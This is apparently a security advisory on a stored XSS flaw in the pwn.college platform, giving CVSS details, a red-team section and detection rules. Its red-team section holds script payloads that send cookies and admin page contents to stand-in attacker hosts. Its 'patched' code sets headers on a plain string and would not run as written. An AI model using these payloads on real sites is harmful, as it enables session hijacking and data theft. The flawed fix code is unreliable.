CVE-2025-24885

Executive Summary

CVE-2025-24885 is a stored Cross-Site Scripting (XSS) vulnerability in the pwn.college education platform. The flaw resides in missing access controls on the rendering of custom (unprivileged) dojo pages, allowing authenticated users with low privileges to inject and store arbitrary JavaScript. This can lead to session hijacking, credential theft, and defacement of the learning portal. The CVSS v3.1 score is 7.6 (High), with a vector emphasizing network attack vector, low attack complexity, required low privileges, user interaction, and changed scope. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a custom web application issue. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
• Attack Vector (AV): Network – Exploitable remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs a standard user account.
• User Interaction (UI): Required – Victim must visit the malicious dojo page.
• Scope (S): Changed – Impact extends beyond the vulnerable component.
• Confidentiality (C): High – Potential for full data exfiltration.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No direct denial of service.

Threat Level: High. Stored XSS in an educational platform can lead to widespread compromise of student and instructor accounts.

Deep Dive & Mechanics

The vulnerability exists in the dojo page rendering engine of pwn.college. The platform allows users to create custom dojo pages for educational content. Due to missing access controls, unprivileged users can inject arbitrary HTML and JavaScript into these pages. When an administrator or other user views the crafted page, the injected script executes in the context of the victim's session.

Root Cause: The application fails to sanitize or validate user-supplied content in dojo page fields (e.g., title, description, or custom HTML blocks). Additionally, the rendering engine does not enforce proper Content Security Policy (CSP) headers, allowing inline script execution.

Attack Flow:

1. Attacker registers a low-privilege account.
2. Attacker creates a new dojo page and injects malicious JavaScript (e.g., <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>).
3. Attacker shares the dojo page link with a victim (e.g., via phishing or social engineering).
4. Victim, authenticated as an admin or instructor, visits the page.
5. The stored XSS payload executes, exfiltrating session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual):

# Vulnerable: Direct rendering of user input without sanitization
def render_dojo_page(page_id):
    page = db.get_dojo_page(page_id)
    return f"<html><body>{page['content']}</body></html>"

Patched Code (Conceptual):

# Patched: Input sanitization and CSP enforcement
import bleach
def render_dojo_page(page_id):
    page = db.get_dojo_page(page_id)
    sanitized_content = bleach.clean(page['content'], tags=[], strip=True)
    response = f"<html><body>{sanitized_content}</body></html>"
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'none'"
    return response

Exploitation & Lab Setup

Red Team

Prerequisites:

• A low-privilege account on a pwn.college instance.
• Ability to create custom dojo pages.

Exploitation Steps:

1. Log in to pwn.college with a standard user account.
2. Navigate to "Create Dojo" or similar functionality.
3. In the content field, inject the following payload:

   <script>
   var img = new Image();
   img.src = 'https://attacker-controlled.com/steal?data=' + encodeURIComponent(document.cookie);
   </script>
   

4. Save the dojo page and obtain its URL.
5. Send the URL to a victim (e.g., instructor) via email or platform messaging.
6. Monitor the attacker-controlled server for incoming requests containing cookies.

Alternative Payload (Session Hijacking):

<script>
fetch('/admin/users', {credentials: 'include'}).then(r => r.text()).then(t => fetch('https://attacker.com/exfil', {method: 'POST', body: t}));
</script>

Blue Team

Detection & Response:

• Monitor for unusual dojo page creation activity from low-privilege accounts.
• Inspect dojo page content for script tags or event handlers (e.g., onload, onerror).
• Implement a Web Application Firewall (WAF) rule to block <script> tags in dojo content.
• Enforce strict Content Security Policy (CSP) headers on all dojo pages.

Hunting Query (Splunk):

index=web_logs sourcetype=access_combined
| search uri_path="/dojo/*" AND method=POST
| rex field=uri_query "content=(?<content>.*)"
| where match(content, "<script")
| table _time, src_ip, user, uri_path, content

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to attacker-controlled domains (e.g., evil.com, attacker-controlled.com).
  • HTTP requests containing document.cookie in the query string.
• File IOCs:
  • Dojo pages containing <script> tags or event handlers.
• Behavioral IOCs:
  • Unusual dojo page creation from low-privilege accounts.
  • Multiple failed login attempts followed by successful session hijacking.

Detection Engineering

YARA Rule

rule CVE_2025_24885_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in pwn.college dojo pages"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-24885"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $event_handler = /on\w+\s*=/ nocase
        $javascript_protocol = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in pwn.college Dojo Pages
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of dojo pages containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: pwncollege
detection:
    selection:
        http.method: POST
        http.url|contains: "/dojo/"
        http.body|contains|all:
            - "<script"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate educational content using JavaScript (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24885 Stored XSS in pwn.college Dojo Page"; flow:to_server,established; content:"POST"; http_method; content:"/dojo/"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Custom Dojo Pages: Temporarily disable the ability for unprivileged users to create custom dojo pages until a patch is applied.
2. Input Sanitization: Implement server-side HTML sanitization using libraries like Bleach (Python) or DOMPurify (JavaScript).
3. Content Security Policy: Enforce a strict CSP header on all dojo pages: Content-Security-Policy: default-src 'self'; script-src 'none';.
4. Access Control: Restrict dojo page creation to trusted roles (e.g., instructors only).

Long-Term Fixes:

• Apply the official patch from pwn.college when released.
• Conduct a security audit of all user-facing input fields.
• Implement regular penetration testing and code reviews.

Workarounds:

• Use a Web Application Firewall (WAF) to block malicious payloads.
• Monitor logs for suspicious dojo page creation and content.

Valters IT